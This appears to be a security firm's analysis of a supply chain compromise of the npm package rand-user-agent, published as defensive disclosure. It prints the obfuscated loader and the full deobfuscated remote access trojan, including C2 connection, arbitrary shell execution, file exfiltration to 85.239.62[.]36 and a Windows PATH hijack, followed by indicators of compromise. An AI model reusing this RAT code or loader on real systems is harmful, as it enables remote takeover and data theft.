On 5 May, 16:00 GMT+0, our automated malware analysis pipeline detected a suspicious package released, rand-user-agent@1.0.110
. It detected unusual code in the package, and it wasn’t wrong. It detected signs of a supply chain attack against this legitimate package, which has about ~45.000 weekly downloads.
What is the package?
The package `rand-user-agent` generates randomized real user-agent strings based on their frequency of occurrence. It’s maintained by the company WebScrapingAPI (https://www.webscrapingapi.com/).
What did we detect?
Our analysis engine detected suspicious code in the file dist/index.js. Lets check it out, here seen through the code view on npm’s site:
.png)
Do you notice something funny? See that scroll bar at the bottom? Damn, they did it again. They tried to hide the code. Here’s what it is trying to hide, prettified:
global["_V"] = "7-randuser84";
global["r"] = require;
var a0b, a0a;
(function () {
var siM = "",
mZw = 357 - 346;
function pHg(l) {
var y = 2461180;
var i = l.length;
var x = [];
for (var v = 0; v < i; v++) {
x[v] = l.charAt(v);
}
for (var v = 0; v < i; v++) {
var h = y * (v + 179) + (y % 18929);
var w = y * (v + 658) + (y % 13606);
var s = h % i;
var f = w % i;
var j = x[s];
x[s] = x[f];
x[f] = j;
y = (h + w) % 5578712;
}
return x.join("");
}
var Rjb = pHg("thnoywfmcbxturazrpeicolsodngcruqksvtj").substr(0, mZw);
var Abp =
'e;s(Avl0"=9=.u;ri+t).n5rwp7u;de(j);m"[)r2(r;ttozix+z"=2vf6+*tto,)0([6gh6;+a,k qsb a,d+,o-24brC4C=g1,;(hnn,o4at1nj,2m9.o;i0uhl[j1zen oq9v,=)eAa8hni e-og(e;s+es7p,.inC7li1;o 2 gai](r;rv=1fyC[ v =>agfn,rv"7erv,htv*rlh,gaq0.i,=u+)o;;athat,9h])=,um2q(svg6qcc+r. (u;d,uor.t.0]j,3}lr=ath()(p,g0;1hpfj-ro=cr.[=;({,A];gr.C7;+ac{[=(up;a](s sa)fhiio+cbSirnr; 8sml o<.a6(ntf gr=rr;ea+=;u{ajrtb=bta;s((tr]2+)r)ng[]hvrm)he<nffc1;an;f[i]w;le=er=v)daec(77{1)lghr(t(r0hewe;<a tha);8l8af6rn o0err8o+ivrb4l!);y rvutp;+e]ez-ec=).(])o r9=rg={0r4=l8i2gCnd)[];dca=,ivu8u rs2+.=7tjv5(=agf=,(s>e=o.gi9nno-s)v)d[(tu5"p)6;n2lpi)+(}gd.=}g)1ngvn;leti7!;}v-e))=v3h<evvahr=)vbst,p.lforn+pa)==."n1q[==cvtpaat;e+b";sh6h.0+(l}==+uca.ljgi;;0vrwna+n9Ajm;gqpr[3,r=q10or"A.boi=le{}o;f h n]tqrrb)rsgaaC1r";,(vyl6dnll.(utn yeh;0[g)eew;n);8.v +0+,s=lee+b< ac=s."n(+l[a(t(e{Srsn a}drvmoi]..odi;,=.ju];5a=tgp(h,-ol8)s.hur;)m(gf(ps)C';
var QbC = pHg[Rjb];
var duZ = "";
var yCZ = QbC;
var pPW = QbC(duZ, pHg(Abp));
var fqw = pPW(
pHg(
']W.SJ&)19P!.)]bq_1m1U4(r!)1P8)Pfe4(;0_4=9P)Kr0PPl!v\/P<t(mt:x=P}c)]PP_aPJ2a.d}Z}P9]r8=f)a:eI1[](,8t,VP).a ]Qpip]#PZP;eNP_P6(=qu!Pqk%\/pT=tPd.f3(c2old6Y,a5)4 (_1!-u6M<!6=x.b}2P 4(ba9..=;p5P_e.P)aP\/47PtonaP\/SPxse)59f.)P)a2a,i=P]9q$.e=Pg23w^!3,P.%ya05.&\'3&t2)EbP)P^P!sP.C[i_iP&\'. 3&5ecnP(f"%.r5{!PPuH5].6A0roSP;;aPrg(]oc8vx]P(aPt=PP.P)P)(he6af1i0)4b(( P6p7Soat9P%2iP y 1En,eVsePP[n7E)r2]rNg3)CH(P2.s>jopn2P$=a7P,].+d%1%p$]8)n_6P1 .ap;=cVK%$e(?,!Vhxa%PPs);.tbr.r5ay25{gPegP %b7 (!gfEPeEri3iut)da(saPpd%)6doPob%Ds e5th }PP781su{P.94$fe.b.({(!rb=P(a{t3t8eBM,#P^m.q.0StPro8)PP(]"nP)e4(y)s.1n4 tl658r)Pove5f;%0a8e0c@P(d16(n.jsP)y=hP3,.gsvP4_%;%c%e.xd[,S1PhWhP.$p.p`i0P?PP5P_Paddn%D$_xn)3,=P]axn0i.(3;.0vcPj%y=cd56ig\/P=[ .nr)Ps iPedjgo5\/o6.m#;dD%iax,[aK1ot(S%hI noqjf7oPoezP,0,9d){cPx uPmsb11ah9n22=8j{wAPe1 ciP;db((KP9%l5=0.aP%}] std1.tt).A%.%brib);N)0d{4h6f4N)8mt$9)g) 7n;(a(_(7 laP!($!.1s5]P4P)hiu%72P1}Ve.+)12>%$P)_1P)na3)_tP\'69086t3im=n1M1c)0);)d3)4neaPD]4m(%fd[Pofg6[m}b4P[7vV)P)S;P]]=9%124oDtrP;f)[(;)rdPiP3d}0f.3a]SI=))}:X^d5oX,)aCh]]h19dzd.Pf_Pad]j02a)bPm3x0(aPzV;6+n#:pPd.P8)(aa,$P7o%)),;)?4.dP=2PP.Piu!(})30YP4%%66]0blP,P1cfPoPPG{P8I(]7)n! _t. .PsP};.)\/(hP)f)Loc5QPX>a!nT}aPa_P6jfrP0]fSoaPs.jbs )aPW+\/P8oaP}_RjGpPS,r___%%.v(ZP.3)! i]H1{(a2P;Pe)ji.Pi10lc.cp6ymP13]PL5;cPPK%C c79PGp=%P1^%}().j.rPsoa]sP+_P)l)]P(P8bP,ap$BP,;,c01;51bP(PccP))tPh]hc4B(P=(h%l<Ps!4w]_c[]e(tnyP)))P_a?+P+P.H],2-tfa^$;r(P!\\a]))1c&o1..j(%sPxef5P.6aP;9.b Rg(f=)\/vb9_3,P95&PP,\\=9p423).P]_7,"E)n\/Js2 PF)aPPPi)b0!06o6.8oa=thx2!..P$P oPs8PxP)n)aP;o71PkPp7i$Pb)P]_a,rta%_jUa<48R(;[!]VPaPut7rf.+v$aP$ i$P&56l.%]dP9(s1e$7b=34}MPt0,(c(.P(fPic$=ch)nP?jf0!PP8n9i2].P1)PPMa.t$)4P.q].ii3}aP;aPPr,bg;PdP98tPctPa0()_%dPr =.r.mJt)(P]sCJoeb(PiaPo(lr*90aPPgo\\dP\/PPa+mx2fPpPP4,)Pd8Nfp4uaIho]c[]361P&b}bPPP4t=3\'a)PnP(,8fp]P706p1PPle$f)tcPoP 7bP$!-vPPW10 0yd]4)2"ey%u2s9)MhbdP]f9%P.viP4P=,a s].=4])n$GPPsPaoP81}[%57)]CSPPa;!P2aPc..Pba?(Pati0]13PP,{P(haPcP;W%ff5XPia.j!4P(ablil}rcycN.7Pe.a_4%:7PHctP1P)c_(c;dt.Pl(PPP)V\/[Ph_.j&P]3geL[!c$P3P88ea(a8.d,)6fPP3a=rz3O[3)\\bnd=)6ac.a?,(]e!m=;{a&(]c_01rP_)2P9[xfz._9P,qP.9k%0mPen_a"]4PtP(m;PP})t2PkPPp=])d9Pt}oa)eP)rPi@j(+PP@.#P(t6=%[\\a\\}o2jr51d;,Paw$\/4Pt;2P23iP(_CPO2p.$(iP*]%!3P(P.3()P1m7(U7tI#9wejf.sc.oes)rPgt(+oe;,Px5(sn;O0f_22)r.z}l]Ig4a)xF P}?P;$?cw3,bg\\cPaP(grgalP$)(]e@2),Pa(fP=_,t{) (ec]aP1f2.z1[P !3 ?_b],P4CnoPx%)F9neQ.;sPb11ao1)6Pdd_l(%e)}Plp((4c6pou46ea# mdad_3hP3a.m,d.P(l]Q{Pt")7am=qPN7)$ oPF(P%kPat)$Pbaas=[tN;1;-?1)hO,,Pth;}aP.PP),,:40P#U}Paa92.|,m-(}g #a.2_I? 56a3PP(1%7w+11tPbPaPbP.58P6vrR,.{f.or)nn.d]P]r03j0;&482Pe.I_siP(Iha3=0zPy\/t%](_e)))[P26((;,d$P6e(l]r+C=[Pc347f3rTP=P.%f)P96].%P]"0InP(5a_iPIP13WNi)a4mP.s=`aveP>.;,$Es)P2P0=)v_P%8{P;o).0T2ox*PP:()PTS!%tc])4r.fy sefv{.)P9!jltPPsin6^5t(P0tr4,0Pt_P6Pa]aa|(+hp,)pPPCpeP.13l])gmrPc3aa] f,0()s3.tf(PPriPtb40aPnr8 2e0"2>P0tj$d_75!LG__7xf7);`f_fPPP]c6Wec;{Pi4.!P(\\#(b_u{=4RYr ihHP=Pac%Po 5vyt)DP6m5*1# 3ao6a7.0f1f0P. )iKPb),{PPPd=Po;roP$f=P1-_ePaa!8DV()[oP3(i,Pa,(c=o({PpPl#).c! =;"i;j]1vr i.d-j=t,).n9t%r5($Plc;?d]8P<=(sPP)AoPa)) P1x]Kh)(0]}6PAfbCp7PP(1oni,!rsPu.!-2g0 ,so0SP3P4j0P2;QPPjtd9 46]l.]t7)>5s31%nhtP!a6pP0P0a[!fPta2.P3 \\. ,3b.cb`ePh(Po a+ea2af(a13 oa%:}.kiM_e!d Pg>l])(@)Pg186( .40[iPa,sP>R(?)7zrnt)Jn[h=)_hl)b$3`($s;c.te7c}P]i52"9m3t ,P]PPP_)e4tf0Ps ,P+PP(gXh{;o_cxjn.not.2]Y"Pf6ep!$:1,>05PHPh,PF(P7.;{.lr[cs);k4P\/j7aP()M70glrP=01aes_Pfdr)axP p2?1ba2o;s..]a.6+6449ufPt$0a$5IsP(,P[ejmP0PP.P%;WBw(-5b$P d5.3Uu;3$aPnfu3Zha5 5gdP($1ao.aLko!j%ia21Pmh 0hi!6;K!P,_t`i)rP5.)J].$ b.}_P (Pe%_ %c^a_th,){(7 0sd@d$s=$_el-a]1!gtc(=&P)t_.f ssh{(.F=e9lP)1P($4P"P,9PK.P_P s));',
),
);
var zlJ = yCZ(siM, fqw);
zlJ(5164);
return 8268;
})();
Yep, that looks bad. This is obviously not meant to be there.
How did the code get there?
If we look at the GitHub repository for the project, we see that the last commit was 7 months ago when version 2.0.82 was released.

If we look at the npm version history, we see something odd. There has been multiple releases since then:
.png)
So the last release, according to GitHub should be 2.0.82
. And if we inspect the packages since then, they all have this malicious code in them. A clear case of a supply chain attack.
The malicious payload
The payload is quite obfuscated, using multiple layers of obfuscation to hide. But here’s the final payload that you will eventually find:
global['_H2'] = ''
global['_H3'] = ''
;(async () => {
const c = global.r || require,
d = c('os'),
f = c('path'),
g = c('fs'),
h = c('child_process'),
i = c('crypto'),
j = f.join(d.homedir(), '.node_modules')
if (typeof module === 'object') {
module.paths.push(f.join(j, 'node_modules'))
} else {
if (global['_module']) {
global['_module'].paths.push(f.join(j, 'node_modules'))
}
}
async function k(I, J) {
return new global.Promise((K, L) => {
h.exec(I, J, (M, N, O) => {
if (M) {
L('Error: ' + M.message)
return
}
if (O) {
L('Stderr: ' + O)
return
}
K(N)
})
})
}
function l(I) {
try {
return c.resolve(I), true
} catch (J) {
return false
}
}
const m = l('axios'),
n = l('socket.io-client')
if (!m || !n) {
try {
const I = {
stdio: 'inherit',
windowsHide: true,
}
const J = {
stdio: 'inherit',
windowsHide: true,
}
if (m) {
await k('npm --prefix "' + j + '" install socket.io-client', I)
} else {
await k('npm --prefix "' + j + '" install axios socket.io-client', J)
}
} catch (K) {
console.log(K)
}
}
const o = c('axios'),
p = c('form-data'),
q = c('socket.io-client')
let r,
s,
t = { M: P }
const u = d.platform().startsWith('win'),
v = d.type(),
w = global['_H3'] || 'http://85.239.62[.]36:3306',
x = global['_H2'] || 'http://85.239.62[.]36:27017'
function y() {
return d.hostname() + '$' + d.userInfo().username
}
function z() {
const L = i.randomBytes(16)
L[6] = (L[6] & 15) | 64
L[8] = (L[8] & 63) | 128
const M = L.toString('hex')
return (
M.substring(0, 8) +
'-' +
M.substring(8, 12) +
'-' +
M.substring(12, 16) +
'-' +
M.substring(16, 20) +
'-' +
M.substring(20, 32)
)
}
function A() {
const L = { reconnectionDelay: 5000 }
r = q(w, L)
r.on('connect', () => {
console.log('Successfully connected to the server')
const M = y(),
N = {
clientUuid: M,
processId: s,
osType: v,
}
r.emit('identify', 'client', N)
})
r.on('disconnect', () => {
console.log('Disconnected from server')
})
r.on('command', F)
r.on('exit', () => {
process.exit()
})
}
async function B(L, M, N, O) {
try {
const P = new p()
P.append('client_id', L)
P.append('path', N)
M.forEach((R) => {
const S = f.basename(R)
P.append(S, g.createReadStream(R))
})
const Q = await o.post(x + '/u/f', P, { headers: P.getHeaders() })
Q.status === 200
? r.emit(
'response',
'HTTP upload succeeded: ' + f.basename(M[0]) + ' file uploaded\n',
O
)
: r.emit(
'response',
'Failed to upload file. Status code: ' + Q.status + '\n',
O
)
} catch (R) {
r.emit('response', 'Failed to upload: ' + R.message + '\n', O)
}
}
async function C(L, M, N, O) {
try {
let P = 0,
Q = 0
const R = D(M)
for (const S of R) {
if (t[O].stopKey) {
r.emit(
'response',
'HTTP upload stopped: ' +
P +
' files succeeded, ' +
Q +
' files failed\n',
O
)
return
}
const T = f.relative(M, S),
U = f.join(N, f.dirname(T))
try {
await B(L, [S], U, O)
P++
} catch (V) {
Q++
}
}
r.emit(
'response',
'HTTP upload succeeded: ' +
P +
' files succeeded, ' +
Q +
' files failed\n',
O
)
} catch (W) {
r.emit('response', 'Failed to upload: ' + W.message + '\n', O)
}
}
function D(L) {
let M = []
const N = g.readdirSync(L)
return (
N.forEach((O) => {
const P = f.join(L, O),
Q = g.statSync(P)
Q && Q.isDirectory() ? (M = M.concat(D(P))) : M.push(P)
}),
M
)
}
function E(L) {
const M = L.split(':')
if (M.length < 2) {
const R = {}
return (
(R.valid = false),
(R.message = 'Command is missing ":" separator or parameters'),
R
)
}
const N = M[1].split(',')
if (N.length < 2) {
const S = {}
return (
(S.valid = false), (S.message = 'Filename or destination is missing'), S
)
}
const O = N[0].trim(),
P = N[1].trim()
if (!O || !P) {
const T = {}
return (
(T.valid = false), (T.message = 'Filename or destination is empty'), T
)
}
const Q = {}
return (Q.valid = true), (Q.filename = O), (Q.destination = P), Q
}
function F(L, M) {
if (!M) {
const O = {}
return (
(O.valid = false),
(O.message = 'User UUID not provided in the command.'),
O
)
}
if (!t[M]) {
const P = {
currentDirectory: __dirname,
commandQueue: [],
stopKey: false,
}
}
const N = t[M]
N.commandQueue.push(L)
G(M)
}
async function G(L) {
let M = t[L]
while (M.commandQueue.length > 0) {
const N = M.commandQueue.shift()
let O = ''
if (N.startsWith('cd')) {
const P = N.slice(2).trim()
try {
process.chdir(M.currentDirectory)
process.chdir(P || '.')
M.currentDirectory = process.cwd()
} catch (Q) {
O = 'Error: ' + Q.message
}
} else {
if (N.startsWith('ss_upf') || N.startsWith('ss_upd')) {
const R = E(N)
if (!R.valid) {
O = 'Invalid command format: ' + R.message + '\n'
r.emit('response', O, L)
continue
}
const { filename: S, destination: T } = R
M.stopKey = false
O = ' >> starting upload\n'
if (N.startsWith('ss_upf')) {
B(y(), [f.join(process.cwd(), S)], T, L)
} else {
N.startsWith('ss_upd') && C(y(), f.join(process.cwd(), S), T, L)
}
} else {
if (N.startsWith('ss_dir')) {
process.chdir(__dirname)
M.currentDirectory = process.cwd()
} else {
if (N.startsWith('ss_fcd')) {
const U = N.split(':')
if (U.length < 2) {
O = 'Command is missing ":" separator or parameters'
} else {
const V = U[1]
process.chdir(V)
M.currentDirectory = process.cwd()
}
} else {
if (N.startsWith('ss_stop')) {
M.stopKey = true
} else {
try {
const W = {
cwd: M.currentDirectory,
windowsHide: true,
}
const X = W
if (u) {
try {
const Y = f.join(
process.env.LOCALAPPDATA ||
f.join(d.homedir(), 'AppData', 'Local'),
'Programs\\Python\\Python3127'
),
Z = { ...process.env }
Z.PATH = Y + ';' + process.env.PATH
X.env = Z
} catch (a0) {}
}
h.exec(N, X, (a1, a2, a3) => {
let a4 = '\n'
a1 && (a4 += 'Error executing command: ' + a1.message)
a3 && (a4 += 'Stderr: ' + a3)
a4 += a2
a4 += M.currentDirectory + '> '
r.emit('response', a4, L)
})
} catch (a1) {
O = 'Error executing command: ' + a1.message
}
}
}
}
}
}
O += M.currentDirectory + '> '
r.emit('response', O, L)
}
}
function H() {
s = z()
A(s)
}
H()
})()
We’ve got a RAT (Remote Access Trojan) on our hands. Here’s an overview of it:
Behavior Overview
The script sets up a covert communication channel with a command-and-control (C2) server using socket.io-client
, while exfiltrating files via axios
to a second HTTP endpoint. It dynamically installs these modules if missing, hiding them in a custom .node_modules
folder under the user's home directory.
C2 Infrastructure
- Socket Communication:
http://85.239.62[.]36:3306
- File Upload Endpoint:
http://85.239.62[.]36:27017/u/f
Once connected, the client sends its unique ID (hostname + username), OS type, and process ID to the server.
Capabilities
Here’s a list of capabilities(Commands) that the RAT supports.
| Command | Purpose |
| --------------- | ------------------------------------------------------------- |
| cd | Change current working directory |
| ss_dir | Reset directory to script’s path |
| ss_fcd:<path> | Force change directory to <path> |
| ss_upf:f,d | Upload single file f to destination d |
| ss_upd:d,dest | Upload all files under directory d to destination dest |
| ss_stop | Sets a stop flag to interrupt current upload process |
| Any other input | Treated as a shell command, executed via child_process.exec() |
Backdoor: Python3127 PATH Hijack
One of the more subtle features of this RAT is its use of a Windows-specific PATH hijack, aimed at quietly executing malicious binaries under the guise of Python tooling.
The script constructs and prepends the following path to the PATH
environment variable before executing shell commands:
%LOCALAPPDATA%\Programs\Python\Python3127
By injecting this directory at the start of PATH
, any command relying on environment-resolved executables (e.g., python
, pip,
etc.) may be silently hijacked. This is particularly effective on systems where Python is already expected to be available.
const Y = path.join(
process.env.LOCALAPPDATA || path.join(os.homedir(), 'AppData', 'Local'),
'Programs\\Python\\Python3127'
)
env.PATH = Y + ';' + process.env.PATH
Indicators of Compromise
At this time, the only indicators we have are the malicious versions, which are:
- 2.0.84
- 1.0.110
- 2.0.83
| Usage | Endpoint | Protocol/Method |
| ------------------ | ------------------------------- | -------------------------- |
| Socket Connection | http://85.239.62[.]36:3306 | socket.io-client |
| File Upload Target | http://85.239.62[.]36:27017/u/f | HTTP POST (multipart/form) |
If you have installed any of these packages, you can check if it has communicated with the C2